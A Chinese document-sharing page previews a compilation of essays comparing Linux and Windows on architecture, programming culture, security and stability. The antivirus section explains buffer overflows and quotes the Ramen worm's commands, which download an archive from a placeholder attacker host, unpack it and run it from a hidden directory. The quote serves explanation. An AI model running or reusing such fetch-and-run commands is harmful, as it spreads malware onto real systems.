从程序员的角度看Linux和windows的对比.doc_第1页
从程序员的角度看Linux和windows的对比.doc_第2页
从程序员的角度看Linux和windows的对比.doc_第3页
从程序员的角度看Linux和windows的对比.doc_第4页
从程序员的角度看Linux和windows的对比.doc_第5页
已阅读5页,还剩13页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

从程序员的角度看Linux和windows的对比一 系统架构的对比 1 内核 (1) 内核的*性 Linux的内核表现出了高度的可配置性和独立性,主要是完成:IO驱动设 备管理,TCP/IP,以及任务调度.Linux的标准内核发布版本有4050MB,而我 现在在一些评估板上试验的嵌入式Linux系统(使用Arm或M68K系列的CPU) 只用到了2MB,同样实现了网络功能和完整的任务调度,这使得Linux可以适 用于从高端服务器到嵌入式应用的各个等级的计算平台上,与之相比,windows 没有明确的内核概念.windows只适合台式机,NT从未真正的打入高端服务器,WinCE也遇到了一些结构性的困难. (2) 内核的任务管理 衡量一个内核的重要指标是多任务环境下的安全性和任务调度的效率. Linux在这方面继承了Unix的优点.而win9.x(包括winme)从来就没有实现过安全的多任务环境,NT/2K 勉强做到了安全性,但是效率还是不敢恭维,我曾今将一个多串口并发驱动的应用程序改写成多线程的方式,原本希望提高处理速度,实际上速度降低了2到3倍.这也就不难理解为什么同样的企业级应用在低硬件的机器上跑得比高硬件配置的NT/2k快. 2 系统的可增值性与历史兼容性 一个设计优良的操作系统应该有一个精简和一致的构造,在添加新的功能时不必破坏原有的结构,而且在后继发展中能够保持前后一致性.Unix由于当初设计时的科学性,以致于20多年的时间内,没有在设计思想上做过大的变动.虽然Unix有很多的版本,但是通过Posix标准,这些系统在源代码上保持高度的兼容. 与之相比,windows的几乎每个操作系统的框架设计都显得十分的随意,几乎不考虑硬件有了新的发展后,会出现什么问题.windown16位和32位两个时期的操作系统出现明显的代沟,作为一个好的os,这种硬件上的差异是应该由其本身来考虑的,而不是把问题交给二次开发者,比如定义一堆PSZ,LPSZ的指针,将来64位时代, 大概要出现LLPSZ了 3 GUI 图形用户界面 Linux的GUI建立在X-WINDOWS的基础,这是与windows的GUI完全不同的一种架构windows的GUI是通过应用程序直接调用winows底层的GUI函数.或者说这是一种垂直的关系.而Linux的GUI是应用程序通过socket向X-WINDOW server发送请求实现的,只有X server在真正的写屏幕或者说这是一种平行的关系后者的方式带来更高的系统稳定性,因为图形显示系统崩溃,对于Linux来说,只不过是死掉一个进程而已,而对windows来说会导致整个系统的崩溃当然X-window的开销要比windows的方式大,但是由于硬件的发展X-window在稳定性上的优点会将会弥补速度上微不足道的差异 4 应用开发环境 Linux上的开发工具没有windows的容易入门,并不代表Linux上的开发环境比windows 差,其实linux编程入门慢,但是一旦熟悉了,以后就很少需要补充新的概念,与之相比,微软用一些很“简便”的编程概念吸引你,然后很快的淘汰这些概念,强迫你学习新的概念,你发现很多时间花费在气喘嘘嘘的跟着微软后面跑你在这方面花费的时间远远超过你去学习linux编程的时间 另一方面,Linux上IDE的开发工具也在成长,最终会吸引更多的应用开发工程师 5 技术上的发展潜力 windows现在的技术架构基本上走进了一个死胡同,很难有大的创新除非提出一个完全不同的系统,然后在里面做个win32子系统,以兼容现有的程序就像在nt上搞win16子系统一样:),并且体积再扩大一倍. 对于linux来说,一个很好的架构放在哪里,现在主要是填充内容,丰富应用.在可以预见的时间内,windows无法在架构上超过Linux 6 多种平台互连的影响 如果linux在嵌入式应用中取得了成功,那么将来就会对台式机市场形成外围的压力.随着PC机的控制与网络能力逐步融合到家电和传统设备中去,这一天一定会出现的微软以下压上的策略(用win9x的市场优势推win nt)会在Linux上重演 结束语 手也打酸了,最后我用最近看到的一段评论结束这篇文章,好像是这么说的 linux就像internet一样,在开始的时候发展较慢,一旦过了起步阶段,就会取得惊人的发展Linux VS Windows 一个CS科班的使用心得 首先来看看它们的中文发音linux(你牛死)和windows(瘟都死),光从子面上看,linux比windows牛多了,因为linux是牛死的,而windows是得瘟疫死的,呵呵一点抵抗力都没有!小弟不才,决不敢说windows一定不如linux,或者linux就一定比windows优秀许多,只不过要看看用在什么场合. Windows的界面做得很花哨,这也是它最大的卖点;而linux的各个发行版本相比之下就要逊色一点了(之所以这么说,是因为大家都用惯了windows的这套界面);如果windows没有这样的一套界面系统,那么它肯定不能像今天一样主宰整个PC的桌面系统的.所以,如果你是一个从来没有接触过计算机的老太太、老大爷,或者只是想用电脑来打打字、上上网、玩玩游戏等等,而又能够忍受系统不定期的死机、莫名其妙的蓝屏,呵呵,那么我建议你使用windows,它太容易上手了 Windows特别容易上手,使用它,你几乎不需要具备任何专业上的知识,你可以使用它来进行日常的办公等等,但随后你就会发现所受到的限制越来越多、越来越大,因为它向我们隐藏了太多的东东了.人们无法知道它到底是怎么实现的,它究竟可以干什么又不能干什么?由于它片面追求外观和易用性,这就迫使它不得不牺牲其他的一些原本可以优化的东西如果你是一个专业人士,那么你对这段话应该很有感触. Linux各个发行版本上手的难易程度有略微差异,但普遍门槛都要比windows要高一点,比如gentoo就比较难上手,但是向knoppix就非常容易上手,而且debian还提供了windows风格的界面,这对于习惯于windows界面的人来说是很有吸引力的。 如果你想在计算机行业搞出一点名堂的话,那么我建议你使用linux,或者至少你需要了解它的工作原理,因为它是互联网上n多顶尖高手精雕细啄的心血结晶,从中你不仅可以学到一个操作系统的实现,同时也可以学到许多系统原理以及软件工程的东东. 说说linux程序员和windows程序员之间的区别吧. 有很多号称windows编程高手的人在windows上搞了几年的开发,居然不知道makefile是用来干什么的?他们以为会使用vb、vc、sql就算计算机高手了?他们甚至不知道一个进程是怎么被fork的,一个可执行文件又是怎么执行的;更有甚者,有些号称精通vc的人居然连windows最基本的消息机制都不明白,他们以为把windows的这些api函数都背下来就什么都摆平了?这些人如果一旦脱离了windows将无法生存了(也许这就是中国软件行业的悲哀吧.),而现在除了一般的通用软件和mis系统以外,有多少程序是在windows上编写的?纵观现在的计算机行业,家电、手记等等嵌入式系统哪里可以找到windows的身影(就算是wince,也有很多东西和windows不一样,那么这些人是不是需要重新背诵新的apis?)。 所有这些,在linux程序员看来都是无法理解的事情;也许你会说,windows提供了这么方便的开发工具,大家可以少作很多事情,但这样的方便将直接导致程序员水平的下降在linux上面进行开发,你可以作任何你想要作的事情,因为所有的技术都是公开的,你所能把握的是整个计算机的基本原理,所以即使你听到诸如“跨平台”这样的话,也不会感到害怕,呵呵. 就拿小弟来说吧,从前我也是一个在windows上面瞎搞的人,用vb写了一个通信软件还觉得自己很牛逼(现在想来,实在太幼稚了),但其实当时我连什么是通信都还不知道(呵呵,脸红一下),windows也就这一点好:说你行你就行,不行也行如果你只是为了应付毕设、课题、或者是老板的话,那么用windows写个小程序再好不过了(呵呵,不过小心你写的程序搬到别的windows机器上就不能用了喔这是因为你写的程序可能用到了动态库,而别的机器上可能没有),几年下来,除了会使用vb、vc以外,什么都没学到手,都说windows是一个操作系统,可是我不知道它的任务机制是什么样的?驱动程序是放在什么位置?文件系统又是什么样的等等好多?然而,在linux上写了一个TCP通信软件之后就让我明白了整个tcp/ip协议以及具体的实现(这也许就是linux的好处之一吧)。习惯于windows的人在谈到硬盘分区的时候会自然而然的想起c、d、e.以为这就是分区的概念,由此可见windows对我们的毒害之深啊有一次,小弟在机器上装了redhat,同事跑过了看新鲜,问我说:“你的c盘在哪里?”我说:“没有c盘,只有hda1”,然后他就说:“连c盘都没有,怎么装系统啊?”,我狂晕了一把#$%.那家伙也是cs科班啊.硬盘的分区只是对物理硬盘进行区域的划分,使得每个分区都可以被看成是一块独立的硬盘,每个分区都可以有自己的文件系统,仅此而已,至于用什么来表示每个不同的分区,随便. 写这片帖子,决不是要煽动大家从windows转向linux,只是根据不同的需要,大家可以选择不同的操作系统;当然,如果你觉得对linux有些害怕的话,那么我可以告诉你,windows可以做到的事情,linux也都可以做到,而且只会更好;而windows作不到的一些事情,linux也有可能做到,比如说,linux可以访问windows下的文件系统,而windows则不能访问linux下的ext序列的文件系统.最后,我想说的是:linux is enough, but windows also not so bad!linux程序员的悲哀Dopsdck发布于 2008-2-19 | 1246次阅读 字号: 大中小(网友评论10条)我要评论 先申明一下,我不是什么高手。尤其是在linux cc+方面,甚至是个非常的低手。1.谁懂得更多?对于喜欢钻牛角尖的人来说,这个问题因人而异的。因为深喑技术细节的windows程序员多于牛毛,而像我一样的linux菜鸟同样大有人在。好多天前,我和一位在微软工作的朋友闲聊。当谈到windows程序员和linux程序员对技术细节的认知上,我也象一些有点底气的linux程序员那样,拍着胸口说至于是怎么实现的,我比你知道得更多。现在,我不得不为我愚蠢的表现付出更多痛苦的思考。我基本认同我那位朋友的观点-他的观点是:(1)管他c, c+,c#甚至Java,管他windows还是linux,写出好用的软件才是硬本事。(2)即使你比我知道的更多,但我甚至可以比你写出更好用的代码。说实在话,我大概很早之前就认同他的观点,只是自己死不承认罢了。程序员就如建筑师。如果有人等着要住你建的楼,拿好砖瓦好钢筋做就是。但有些人不这么干,他们非要对砖块、钢筋的化学式了如指掌才肯动手。他们恨不得自己烧砖块、炼水泥、煅钢材。2.你真的懂得更多?其实这是第一个问题中没有回答完的。一些linux程序员对基于某种平台的特定接口或规范的编程不屑一顾,他们热衷于自己造轮子,迷失在自负中。他们学着Neil Matthew 和Richard Stones说对文件操作,只需要open, close, read, write和ioctl就够了。他们看到别人给他封装的接口就烦,虽然他们自己偶尔也去封装几个供自己用。在他们看来,用open打开文件比用诸如open_file打开更有水平,更接近上帝。其实,不论是系统调用、库函数还是封装接口。他们都只是接口而已。如果你还是觉得用open打开文件比用诸如open_file更高贵、更过瘾。那请问,你知道open在底层是怎么实现的吗?如果你不能清楚地回答,请放下自尊,改用open_file吧。毕竟对你来说,他们只是接口,你甚至不知道他们真实的区别。做为一名linux程序员,你可以先虚伪的抵制windows,然后照样使用windows在CU里潜水、灌水,没人知道。问题是,不论在公司或研究机构,你平时几乎离不开windows,。当和别人谈到windows时,你故意不说什么,装着一副高手的样子,其实是因为你确实说不出什么来。3.想知道全部,但已不可能。这大概是个哲学问题。我们不可能搞清楚全部的细节,即使是一个有限的知识范畴。计算机科学发展到今天,已经成为一种庞大的知识体系。当我们摆出架势主攻某一方面的时候,发现不得不去了解一下其他的东西。最后的结果就是知道的越多,精通的越少。当Ken Thompson和Dennis Ritchie自娱自乐写UNIX时,他们不需要知道UNIX命令集,因为一切由他们自己说了算。因此,从某种意义上来说,我们知道的比他们更多。因为他们知道的,我们完全可以通过学习来获取。但我敢打保票,Dennis Ritchie应该不知道微元素在生物细胞中传递的实质过程-我不得不学习这些东西,因为这是我的工作所必备的知识。因此,随着计算机科学的发展,对于一个对计算机完全陌生的人来说,学习梯度将越来越大,以至于我们无法真正精通甚至某一方面的知识。如果你的目标不只是混口饭吃那么粗俗的话,那你就会领会到知识膨胀给你带来的痛苦。因为你会发现,知道的越多,就越发无知。Linux真的比Windows安全? 2005年04月22日09:14 赛迪网-中国电脑教育报文/编码者任何操作系统都会存在漏洞,Linux、Windows、Unix或是FreeBSD,无一例外。不过,现在争论得最热闹的就是Linux与Windows。Linux的舆论形象一直比较“阳光”、“健康”,与微软的Windows相比,它以开放和安全赢得了众多的支持者。即使偶尔有负面消息,也往往被认为是来自微软的攻击。因此用户们在潜移默化中已经接受了“Linux更安全”这一说法。Linux的拥护者认为Linux比Windows更安全,因为它开放源代码,全世界的程序员都可以随时更新。不过,全世界的程序员是为Windows服务的多还是为Linux服务的多?况且,开放源代码对普通用户很有用吗?安全不安全,比比漏洞看最近,由微软所赞助的一项研究指出,以Linux所运作的网站会比Windows面对更多的风险。当然了,谁赞助了研究,研究者写报告的时候对东家难免会照顾一点。但是研究方法的设计是量化而可重复的,所有人都可以自己去动手验证。先解释一个名词:风险日(Days of Risk),它是指在漏洞公开之后及软件开发者修补好漏洞期间的风险日总数。这是一种衡量已知而未修补漏洞的方法。在这份研究报告中,微软网络服务器的风险日比开放原始码的竞争对手要少很多。研究人员计算了2004年里每个网络服务器修补完成的已公布漏洞,其中使用Red Hat Enterprise Linux ES 3的服务器风险日超过了1.2万天,而微软则大约为1600天;漏洞方面,搭配Apache Web Server、MySQL数据库以及PHP Scripting Language的红帽网络服务器的出厂设定要处理174个漏洞,而微软Server 2003、Internet Information Server 6、SQL Server 2000及ASP.Net的出厂设定则有52个漏洞。研究人员还研究了两者的最小化设定,也就是把一些与网页伺服无关的应用拿掉之后再做比较。在此情况下,微软是52个漏洞,而红帽子Linux是132个漏洞。看到这里是不是有点怕?不过Linux阵营也有自己的话要说。红帽子Linux方面认为:“不管是以微软或者是红帽子的严格标准来分,Red Hat Enterprise Linux 3只有8个漏洞属危险等级。而这些漏洞里,有四分之三在一天内就能修补好,一般则都是要八天。”虽然风险日和漏洞的计算都不能当做衡量安全的真正方式,但等待漏洞的时间总数是一个相当合理的计算方法。当我们比较主流平台的漏洞数量和严重性时总是想真正地进行危险级别区分。但是实际情况并非如此。真正的评估底线是如果一个漏洞导致了网络入侵,那么它就是问题,而不管这个漏洞是个“高”风险还是个“低”风险。当事故发生时,用户只在意处理这个问题时花费了多少时间和金钱。很多Mac用户都认为苹果电脑比Windows系统的PC更为安全,但是Symantec公司最近的分析报告指出,前者绝对不比后者安全多少。Symantec在Mac OS系统中发现37处高危隐患,而苹果公司也对此报告表示认可。Mac OS目前保持较高安全性的主要原因便是较低的普及率和有限的使用范围。然而,随着iPod等苹果产品的日益流行,苹果电脑开始逐步吸引着攻击者的目光。安全之道,存乎一心实际上,即使是专门为安全而设计的防火墙,也允许电子邮件和网络询问通过。而入侵检测系统虽然可以抵挡一些进攻,但对新型攻击方法也无计可施。没有什么操作系统是可以绝对保证安全的。一个好几个月都不浏览安全技术站点、不知道如何升级防火墙、不知道如何给系统打补丁的管理员几乎比比皆是。笔者通常开机之后第一件事就是去安全相关网站溜达一圈,这习惯是让人逼出来的。早年在电脑城“练摊儿”的时候,社会交往多,晚上家里的电话吵个不停,一半是求救电话,不是网络瘫痪了,就是被“黑”了或是中毒了。有的孩子问老师:“互联网是什么啊?能不能捕鱼捉鸟呢?”有个计算机管理员问我:“我昨天杀了一次病毒,怎么还有?杀毒软件还要天天升级?”这问题与“互联网能不能捕鱼捉鸟”有异曲同工之妙,每次都能把笔者气得不行。一顿饭就能买出好几套正版杀毒软件,却用着上个世纪的软件自以为高枕无忧。迷信杀毒软件、木马克星,就不知道去操作系统开发提供商的网站上“Update”(升级)一下?从技术上来说,软件当中的隐性后门表面上根本看不出来,只有制造者懂得如何利用它,就算是安全专家也未必能通过阅读源代码把它找出来。这条法则不仅对微软的软件适用,同样也对开放源代码软件适用。对于有能力的管理员来说,无论是Linux、Unix、FreeBSD或者Windows,都相当安全,安全程度大多还是要靠管理员的业务水平。所以,安全之道,存乎一心。安全,起码要有这份意识,否则,用任何“先进”的操作系统也只是赶时髦而已。读我眼中的Linux一文有感第一,楼主不了解linux只是抱着测试的心理去“玩”,而不是去用。文章的开始,楼主不了解linux的分区方式,仍然用MS的分区方式来去看待 linux安装。我想楼主现在应该是知道了,linux 和 WINDOWS有太多的不同。因为习惯不同的问题,说LINUX不好用这对于LINUX来说是不公平的。楼主用来安装LINUX的平台是笔记本。我很敬佩楼主的勇气。因为历来,对于笔记本上安装和调试LINUX都是最难的,楼主是知难而上。不过从安装成功的结果来看。开源社区的程序员们的努力并没有白费。楼主的笔记本多数驱动都能支持了。为什么说LINUX的对硬件的支持不好。一个很明显的例子就摆在那里,硬件厂商由其是国内的厂商,出了一个新产品第一个想到的是要去支持windows。也就是说MS是坐在办公室里等着别人去支持他。而 linux这边则是由开源社区的程序员们主动编写各类驱动去支持新硬件。这一上一下的两种情况足以说明开源社区的程序员们有多勒劳。这里并不说 WINDOWS的开发者就不刻苦了。我们现在的WINDOWS安装盘占椐空间最大的就是驱动程序。这里仅是为了说明LINUX硬件支持的不如 WINDOWS的一个原因。第二,楼主不适应linux的操作方式。从安装时楼主痛苦的表现,就能看出来。接下来在安装QQ等软看楼主吃尽了苦头。由些楼主得到一个结论 linux的软件安装方式太难,太不简便。LINUX更愿意在命令行下操作机器。楼主在这方面不适应了。其实方不方便的问题主要靠自己的感觉。楼主长期在 WINDOWS下工作,已经很熟悉WINDOWS的操作方式。冷不丁改了手法肯定不舒服。打个比方,就如原来是开卡车的司机,现在突然不开卡车了,让开小汽车。那么这个司机操作上肯定是不适应的。对于打开程序的方式不见得用鼠标一定比键盘快的。除去桌面上的快捷方式外。在WINOWS下,我们要双击很多的文件夹才能找到我们要用的程序双击他的主程序打开他。而如果我们用命令行呢。只要打几个字母就能完成打开他。LINUX的命令行可以自动补全命令,你不用输入命令的全部就可以得到命令的完整形式,马上就可以执行。一个命令行可以调用系统里几乎所有的软件运行,你不必为了调用某个软年而专门的切换到那个软件所在的文件夹去。这样的命令行,目前的WINDOWS下的CMD还做不到。令楼主感到不适的仅是个习惯上的不适。而不能说LINUX打开程序的方式是不方便的,麻烦的。至于楼主认为安装程序应该是做成一个文件,应是点下一步下一步如何如何的。这些完全都是WINDOWS下的习惯。我们用WINDOWS时要到网上去找软件然后下载下来安装。在LINUX下Ubuntu有apt-get软件仓库系统,FC有主YUM软件仓库系统。只要你知道软件名,你就可以通过他们下载安装,一步到位。而在WINDOWS下的用户还要去访问类似华军一样的软件站点。我们公平一点看,LINUX和WINDOWS安装软件那个更方便呢?第三,关于影音解码器的问题。这不LINUX的错而是版权和专利的问题。我们使用的MP3,RMVB,MPEG,等很多的数字音视频格式都是专利,需要付费的。在国外人们的知识产权保护意识很强。没有经过对方授权许可的万万不能用的。有的国家还有相关法律约束。这样一来尽管开发者很想将解码器放入播放器中如“暴风影音”那样。但是因为法律的原因,开发者们不能这么做。如果他们这么做,极有可能带来官司。只能眼睁睁的看着用户自己动手装解码器。为此,开发者们自己开发出开源的视频音频格式OGG来补充这个缺憾,如果你手里有OGG格式的音频视频,MPLAYER肯定支持播放。国内的知识产权意识淡薄,很多解码器都是拿过来就用,并不考虑什么专利之类的事情。第三,楼主找不到合适的linux软件完成自己的工作。其实LINUX下的很多软件可以代替WINDOWS下的软件,只不过刚接触LINUX系统的人不太容易知道,我们要的软件名子是什么。我们只知道WINDOW下有这种软件。而多数的软件介绍都是英文的,这对于我们来说困难了许多。国内的程序员大多是 WINDOWS程序员,写不出来LINUX软件来。我们所依赖的资料都是高手们翻译过来的。往往都是旧的,过时的东西。论坛上LINUX版块里还有人在介绍Gaim,熟悉Gaim的朋友知道,这个项目已经改名子了。楼主希望WINDOWS软件能在LINUX下跑,这是不现实的。如果能那样,那LINUX就不能叫LINUX了,名子应该换成WINDOWS才对。这样一来WINDOWS的病毒也能在LINUX满天飞了。网上的坏蛋们能省很多事。第四,普及的问题。这从来就是头痛的问题。我们都知道,LINUX是以UNIX为蓝本编制的。为什么是UNIX而不是WINDOWS呢。因为UNIX出现的时侯,比尔还没退学呢,别说WINDOWS了连MSDOS还没有发布呢。UNIX很贵很复杂,不是一般人能用的起的。人们很需要一个便宜简单的操作系统。后来IBM推出PC机,MSDOS是默认的系统。PC机便宜,MSDOS也便宜。这样一来DOS就普及开来了。而同样为个人设计的LINUX这个时期还仅是个linus的一个毕业设计而已。在国外WINDOWS发行的时间比LINUX要早。WINDOWS是先到者而LINUX是个后来者。这一先一后的差距就合腾讯QQ与新浪UC一样大。到了中国,这样的差距被拉得更大了。我们小时侯学电脑的时侯根本就没有见过linux,在我们面前的只有 WINDOWS,没有别的。如果我们当初接触到的先是LINUX,那么情况可能就不是现在这个样子了。上面的是我的看法,我一直在使用LINUX,这篇回贴也是在LINUX下完成的。我希望大家多来使用LINUX,而不是抱着玩玩的心态来用LINUX。同时我也希望,我们能多关心一下知识产权的问题。我们应该尊重他人的劳动成果,我想这是一种礼仪。要办奥运会了,希望我们能以一个文明人的姿态展现在世人面前。让外国人意识中国不在是那个落后的中国,中华文明依旧光辉灿烂。Linux对绝Windows之十三篇Linux是一套免费使用和自由传播的类UNIX操作系统,主要用于基于Intel x86系列CPU的计算机上。Linux系统是由全世界各地的成千上万的程序员设计和实现的,其目的是建立不受任何商品化软件的版权所制约的、全世界都能自由使用的UNIX兼容产品。Windows同样主要用于基于Intel x86系列CPU的计算机上.本文将它们作一个比较. (一) 编程篇 一般人们习惯于认为Linus是Linux的缔造者,在Linux包含的数以千计的文件中,也有一个名为Credits的文件记录了主要的Linux Hacker们的姓名和电子邮件地址(这个列表中包含了100多个名字,世界各地的都有),但没有人说得清究竟有多少人参与了Linux的改进。这一游戏到今天并没有随着时间的推移而停止,相反却因为Linux的日益流行而爱好者甚众。因此开始使用Linux就犹如加入了一个高手如云的编程组织。你可以通过互联网随时了解来自地球的某一个角落的该领域的最新进展;如果你的英文足够好,加入一个讨论组,你就可以得到不知来自什么地方的神密高手的点拨。由于GPL的存在,你还可以得到开放的源代码,从而不用发愁学习资料的来源。随着更多专业公司的介入,Linux可以提供的开发工具的功能也越发强大。如TurboLinux就具有强大的应用程序开发环境,提供了各种开发应用程序的工具,具有对多种语言如:C、C 、Java、Perl、Tcl/tk、Python和Fortran 77的编译器/解释器,以及集成开发环境、调试和其他开发工具。再如Janus Software公司开发的被称为Linux版VB的Phoenix Object Basic,它是一套独特的面向对象的Linux RAD(Rapid Application Development,快速应用软件开发工具)。它综合了Python 和Perl等面向对象编程语言的强大功能,同时,提供了类似 Visual Basic 的易用性。熟悉Windows环境下Visual Basic的编程者都可以顺利地使用Phoenix Object Basic。LynuxWorks 公司的VisualLynux可以和微软的Visual C 相媲美,它集成了微软Visual C 开发工具以支持Linux操作系统的产品,它不但兼容LynuxWorks公司的 BlueCat Linux,而且还兼容其他的Linux 2.2.12版本。LynuxWorks 公司甚至声称从此Visual C 就具备了开发嵌入式 Linux 应用程序的能力。嵌入式 Linux 系统现在相当热门,已经广泛地应用在各式各样的通信基础产品。Linux可以完成任何Windows下的编程任务.这一篇,LINUX占了上风。(二) 运行平台篇 在这个IT技术日新月异的年代,尽管每个IT厂商都嚷着他们的产品可以有效地降低我们的TCO(总拥有成本),可我们手里设备的折旧速度还是在不断加快。如果你肯听我的,我会说这世上从来就没有救世主,还是试试我推荐的Linux吧。 Linux非常小,可以有效地利用硬件。Linux的最小安装仅需要4MB内存,而你也可以在你的486机器上安装Linux并将其用做防火墙或Web服务器。我记得的Linux论坛有人用二手386建立了路由器和防火墙。Linux内核允许在运行时装载和卸载硬件的驱动程序。这样因为不必装载全部的驱动程序,就可以最大化地使用内存。总之Linux可以使老机器获得新生,节省我们的财力。而Windows2000 SERVER在P166 64M下运行如同像蜗牛一样慢,有时会逼疯你. 这一篇,LINUX占了上风 (三) 硬件支持篇 由于开放源代码的特点LINUX得到AMD和INTEL公司的关注.因为这两家公司都希望在64位芯片时代能够和开放源代码的操作系统系统紧密联系LINUX的发展速度急快,从它的内核就可以看出.LINUX比其他操作系统更能适应芯片技术发展.在2001年的LINUX大会上,IBM带来为LINUX制作的电子商务套间WEBSHERE COMMERCE 5.1,HP带来为LINUX制作的电子商务套间HP SECURE OS SOFTWARE FOR Linux.现在LINUX可以广泛运行 在64位芯片构架中,包括Compaq Alpha, SGI MIPS,Sun UltraSparc.而WINDOWS落后一步. 最新的Linux内核2.52版中最引人注意的改进就是Iinux内核开始支持最新的usB技术。usB 20可以确保数据传输速度达到480Mbs,这个速度是usBl1最高传输速度的40倍。usB 2.0模块一般没有内置在计算机系统当中。现在更为流行的是使用Firewire标准来实现高速连接功能,比如连接视频头、硬盘等等。 微软已经编写了支持usB 2.0“的代码,但是在最新的操作系统windows xP中却不支持USB 20。 这一篇,LINUX占了上风。(四) 网络篇 Linux的组网能力非常强大,它的TCP/IP代码是最高级的。Linux提供了对于当前的TCP/IP协议的完全支持,并且包括了对下一代Internet.协议Ipv6的支持。Linux内核还包括了IP防火墙代码、IP防伪、IP服务质量控制及许多安全特性。这些特性可以和像Cisco这样的公司提供的高端路由设备的特性相媲美。此外,利用Redhat Linux 提供的Samba 组(并不是RedHat Linux独有),Linux 可以作为Windows 客户机的打印和文件服务器,还可以用做NT的文件和打印服务器。运用Linux包含的AppleTalk模块,Linux甚至可以作为一个Macintosh客户机的文件和打印服务器。让Apache 这个世界上应用范围最广的Web服务器软件系统跑在Linux上,你就可以运行自己的Intranet或者Internet web服务器。Linux还包含了一个Ftp 服务程序、一个电子邮件传输代理程序以及,POP和IMAP邮件服务程序。如果你愿意,你还可以在Internet上免费获得一个Linux的LDAP服务程序。性能超群稳定的APACHE服务器也是许多网络管理员选择LINUX的原因如果我们没有机会选择UNIX,LINUX是个好选择,微软的IIS是无法与之匹敌. 这一篇,LINUX占了上风 (五) 设备驱动篇 早期的LINUX对硬件设备的支持不好,大家拒绝使用的一个重要方面是驱动程序不好找.不过随着内核升级到2.4各个主要LINUX软件提供商的产品已经可以识别象刻录机,扫描仪等新设备. .不过和微软件安装驱动. ,LINUX占了下风 (六) UNIX能力篇 Linux为广大用户提供了一个在家里学习和使用Unix操作系统的机会。尽管Linux是由计算机爱好者们开发的,但是它在很多方面上是相当稳定的,从而为用户学习和使用目前世界上最流行的Unix操作系统提供了廉价的机会。现在有许多CD-ROM供应商和软件公司(如RedHat和TurboLinux)支持Linux操作系统。Linux成为Unix系统在个人计算机上的一个代用品,并能用于替代那些较为昂贵的系统。因此,如果一个用户在公司上班的时候在Unix系统上编程,或者在工作中是一位Unix的系统管理员,他就可以在家里安装一套Unix的兼容系统,即Linux系统,在家中使用Linux就能够完成一些工作任务。这一篇,LINUX占了上风 (七)性能篇 Linux操作系统在短短的几年之内得到了非常迅猛的发展,这与Linux具有的良好特性是分不开的。Linux包含了Unix的全部功能和特性。简单的说,Linux具有以下主要特性: 1.开放性 开放性是指系统遵循世界标准规范,特别是遵循开放系统互连(OSI)国际标准。凡遵循国际标准所开发的硬件和软件,都能彼此兼容,可方便地实现互连。 2.多用户 多用户是指系统资源可以被不同用户各自拥有使用,即每个用户对自己的资源(例如:文件、设备)有特定的权限,互不影响。Linux和Unix都具有多用户的特性。 3.多任务 多任务是现代计算机的最主要的一个特点。它是指计算机同时执行多个程序,而且各个程序的运行互相独立。Linux系统调度每一个进程平等地访问微处理器。由于CPU的处理速度非常快,其结果是,启动的应用程序看起来好像在并行运行。事实上,从处理器执行一个应用程序中的一组指令到Linux调度微处理器再次运行这个程序之间只有很短 的时间延迟,用户是感觉不出来的。 经过对最重量级的数据库ORACLE 8.1.6测试,在LINUX下的运行速度比在WIN2000 SERVER要快35%.这一篇,LINUX占了上风。 (八)创新篇 Linux是自由软件,而自由软件和非自由软的区别在于: 1 自由软件是开放的,成千上万的人可以检查这个软件,快速地找到并修改其错误码。 2 最终用户可以按照自己的意愿自定义自由软件,有特殊需要的用户也可以完全按照他们认为合适的方式定制自己的Linux。 3 自由软件为了防止重复发明,通过共享源代码和思想来节省很多工作量。 以上这些特性是不是对有想法的好事者有莫大的吸引力?不仅如此,Linux由于自身的优点,应用领域也越来越广泛。如最近嵌入式Linux的应用相当热门,已广泛应用于包括笔记本电脑、连网装置、网络电视等在内的各式各样的通信基础产品,而嵌入式操作系统正日益成为一种势不可挡的流行趋势,最终电脑、通讯、家电会因为它的存在而成为一体。这些也为有想法的好事者提供了更广阔的发挥空间。在梦想就是力量的今天,没有了创新能力是不可想象的. 如果你总是使用微软的开发工具,你一生只能做个操作人员. .这一篇,LINUX占了上风。(九)防病毒篇 1998年的CIH病毒让全世界人民为之胆怯,随之而来的基于OUTLOOK传播美莉莎,欢乐时光等病毒更是是IT行业以及相关领域损失惨重.而LINUX方面关于世界上第一个Linux病毒reman已经出现的说法,我们得到该病毒的有关资料和样本之后发现,严格地说,reman并不能被称为病毒。实际上这是一个古老的,在NIX/Linux世界早已存在的“缓冲区溢出”攻击程序。几乎所有UNIX/Linux版本中都或多或少地存在这样的问题。第一次此种类型的攻击(morris worm),到现在已经十多年了,并不是等到现在才“出现”的。事实上针对windows 98/NT的缓冲区溢出攻击也是很常见的。 缓冲区溢出的原理是:向一个有限空间的缓冲区拷贝了过长的字符串,覆盖相邻的存储单元,会引起程序运行失败。因为自动变量保存在堆栈当中,当发生缓冲区溢出的时候,存储在堆栈中的函数反回地址也会被覆盖从而无法从发生溢出的函数正常返回(返回地址往往是一个无效的地址),在这样的情况下系统一般报告:“core dump”或“segment fault”。严重的是:如果覆盖缓冲区的是一段精心设计的机器指令序列,它可能通过溢出,改变返回地址,将其指向自己的指令序列,从而改变该程序的正常流程。这段精心设计的指令一般的目的是:“/bin/sh”,所以这段代码被称为:“shell code”。通过这样的溢出可以得到一个shell,仅此而已。但是,如果被溢出是一个suid root程序,得到的将是一个root shell。这样机器的控制权已经易手,此后发生的任何事情都是合理的。 下面我们回到reman。它首先对网络上的主机进行扫描,通过两个普通的漏洞进入系统,获取root权限,然后从源主机复制自身,以继续扫描网上其他服务器。对于Red Hat 6.2来讲,如果攻击成功,它会做以下工作:mkdir /usr/src/.poop;cd /usr/src/.poopexport TERM=vt100lynx -source http:/FROMADDR:27374 /usr/src/.poop/ramen.tgzcp ramen.tgz /tmpgzip -d ramen.tgz;tar -xvf ramen.tar;./start.shecho Eat Your Ramen! | mail -s TOADDR -c 很明显,reman只是一个自动化了的缓冲区溢出程序,而且是很普通的一种。目前缓冲区溢出攻击是非常普遍的一种攻击,黑客网站对各类系统的漏洞的发布几乎每日更新。但是这种攻击方式并不是不可避免,目前已有很多对付该类攻击的方案。这一篇,LINUX占了上风。 (十)稳定能力篇 运行Linux的机器启动一次可以运行数月。Linux提供了完全的内存保护,每个进程都运行在自己的虚拟地址空间中,并且不会损坏其他进程或内核使用的地址空间。任务与内核间也是相互隔离,即行为不良或编写不良的程序只能毁坏自己。因此被破坏的进程几乎不可能使系统崩溃。Linux在和Windows98和NT在安全性的较量中占有上风,和Windows2000的情况又怎么样呢?资深的系统安全分析家指出:Windows 